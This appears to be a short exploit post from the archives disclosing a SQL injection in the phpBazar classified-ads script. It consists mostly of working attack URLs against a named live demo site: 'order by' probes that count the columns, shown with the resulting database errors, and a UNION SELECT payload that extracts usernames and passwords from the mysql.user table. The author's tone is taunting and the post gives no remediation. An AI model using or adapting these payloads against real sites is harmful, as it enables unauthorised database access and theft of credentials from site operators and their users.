phpBazar SQL Injection Vulnerability all versions
by:  e.wiZz!
info: Bosnian Idiot FTW!

In the wild....
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Script site : http://www.smartisoft.com/

Vulnerability:
http://inthewild.com/<INSTALL PATH>/classified.php?catid=x&subcatid=x&adid=x SQL INJECTION

PoC on demo site:

http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 order by 911/*
Unknown column '911' in 'order clause'

http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 order by 67/*
Unknown column '67' in 'order clause'

http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 order by 66/*
Error : Database Query Error

...so its 66...omg :D
you can find columns this like:
http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 union select sum(somecolumn) from users--

username,password:

http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,username,password,53,54,55,56,57,58,59,60,61,62,63,64,65,66 from mysql.user/*